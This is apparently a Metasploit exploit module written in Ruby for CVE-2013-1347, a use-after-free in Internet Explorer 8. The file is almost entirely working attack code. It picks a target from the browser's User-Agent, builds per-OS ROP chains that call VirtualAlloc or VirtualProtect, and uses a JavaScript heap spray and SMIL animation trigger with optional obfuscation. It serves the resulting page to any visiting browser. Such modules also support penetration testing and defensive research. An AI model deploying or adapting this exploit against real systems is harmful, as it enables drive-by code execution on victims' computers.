Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability

##
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "8.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => GoodRanking
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in Microsoft Internet Explorer. A
        use-after-free condition occurs when a CGenericElement object is freed, but a
        reference is kept on the Document and used again during rendering, an invalid
        memory that's controllable is used, and allows arbitrary code execution under the
        context of the user.

          Please note: This vulnerability has been exploited in the wild on 2013 May, in
        the compromise of the Department of Labor (DoL) Website.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',
          'EMH',
          'juan vazquez',  #RCA
          'sinn3r'         #RCA
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1347' ],
          [ 'OSVDB', '92993' ],
          [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
          [ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'Space'          => 1024,
          'DisableNops'    => true
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
          [ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
          [ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 3 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '5.2'
      os_name = 'Windows Server 2003'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    else
      # OS not supported
      return nil
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie8_smil(my_target, p)

    case my_target['Rop']
    when :msvcrt
      case my_target.name
      when 'IE 8 on Windows XP SP3'
        align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
        xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
      when 'IE 8 on Windows Server 2003'
        align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
        xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
      end
    else
      align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
      xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
    end

    padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
    js_payload = Rex::Text.to_unescape(p)

    js = %Q|
    unicorn = unescape("ABCD");
    unicorn2 = unescape("EEEE");
    for (i=0; i < 2; i++) {
      unicorn += unescape("ABCD");
    }unicorn += unescape("AB");

    unicorn += unescape("#{js_payload}");

    animvalues = unescape("#{align_esp}");

    for (i=0; i < 0x70/4; i++) {
      if (i == 0x70/4-1) {
        animvalues += unescape("#{xchg_esp}");
      }
      else {
        animvalues += unescape("#{align_esp}");
      }
    }

    animvalues += unicorn;

    for(i = 0; i < 13; i++) {
      animvalues += ";red";
    }
    |

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V")[0].to_i
  end

  def nop
    return make_nops(4).unpack("V")[0].to_i
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    case t['Rop']
    when :msvcrt
      case t.name
      when 'IE 8 on Windows XP SP3'
        rop_gadgets =
        [
          0x77c1e844, # POP EBP # RETN [msvcrt.dll]
          0x77c1e844, # skip 4 bytes [msvcrt.dll]
          0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
          0xffffffff,
          0x77c127e5, # INC EBX # RETN [msvcrt.dll]
          0x77c127e5, # INC EBX # RETN [msvcrt.dll]
          0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
          0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
          0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
          0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
          0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
          0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
          0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
          0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
          0x77c3048a, # POP EDI # RETN [msvcrt.dll]
          0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
          0x77c46efb, # POP ESI # RETN [msvcrt.dll]
          0x77c2aacc, # JMP [EAX] [msvcrt.dll]
          0x77c3b860, # POP EAX # RETN [msvcrt.dll]
          0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
          0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
          0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
        ].pack("V*")
      when 'IE 8 on Windows Server 2003'
        rop_gadgets =
        [
          0x77bb2563, # POP EAX # RETN
          0x77ba1114, # <- *&VirtualProtect()
          0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
          junk,
          0x77bb0c86, # XCHG EAX,ESI # RETN
          0x77bc9801, # POP EBP # RETN
          0x77be2265, # ptr to 'push esp #  ret'
          0x77bb2563, # POP EAX # RETN
          0x03C0990F,
          0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
          0x77bb48d3, # POP EBX, RET
          0x77bf21e0, # .data
          0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
          0x77bbfc02, # POP ECX # RETN
          0x77bef001, # W pointer (lpOldProtect) (-> ecx)
          0x77bd8c04, # POP EDI # RETN
          0x77bd8c05, # ROP NOP (-> edi)
          0x77bb2563, # POP EAX # RETN
          0x03c0984f,
          0x77bdd441, # SUB EAX, 03c0940f
          0x77bb8285, # XCHG EAX,EDX # RETN
          0x77bb2563, # POP EAX # RETN
          nop,
          0x77be6591  # PUSHAD # ADD AL,0EF # RETN
        ].pack("V*")
      end
    else
      rop_gadgets =
      [
        0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
        0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
        0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
        0x7c3415a2, # JMP [EAX] [msvcr71.dll]
        0xffffffff,
        0x7c376402, # skip 4 bytes [msvcr71.dll]
        0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
        0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
        0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
        0x7c344f87, # POP EDX # RETN [msvcr71.dll]
        0xffffffc0, # Value to negate, will become 0x00000040
        0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
        0x7c34d201, # POP ECX # RETN [msvcr71.dll]
        0x7c38b001, # &Writable location [msvcr71.dll]
        0x7c347f97, # POP EAX # RETN [msvcr71.dll]
        0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
        0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
        0x7c345c30  # ptr to 'push esp #  ret ' [msvcr71.dll]
        # rop chain generated with mona.py
      ].pack("V*")
    end

    rop_payload = rop_gadgets
    case t['Rop']
    when :msvcrt
      rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    else
      rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
    end
    rop_payload << code
    rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt

    return rop_payload
  end

  def load_exploit_html(my_target, cli)

    p  = get_payload(my_target, cli)
    js = ie8_smil(my_target, p)

    html = %Q|
    <!doctype html>
    <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
    <head>
    <meta>
      <?IMPORT namespace="t" implementation="#default#time2">
    </meta>

    <script>
    function helloWorld()
    {
      #{js}
      f0 = document.createElement('span');
      document.body.appendChild(f0);
      f1 = document.createElement('span');
      document.body.appendChild(f1);
      f2 = document.createElement('span');
      document.body.appendChild(f2);
      document.body.contentEditable="true";
      f2.appendChild(document.createElement('datalist'));
      f1.appendChild(document.createElement('span'));
      f1.appendChild(document.createElement('table'));
      try{
        f0.offsetParent=null;
      }catch(e) {

      }f2.innerHTML="";
      f0.appendChild(document.createElement('hr'));
      f1.innerHTML="";

      CollectGarbage();

      try {
        a = document.getElementById('myanim');
        a.values = animvalues;
      }
      catch(e) {}
    }

    </script>
    </head>
    <body onload="eval(helloWorld());">
    <t:ANIMATECOLOR id="myanim"/>

    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^\t\t/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end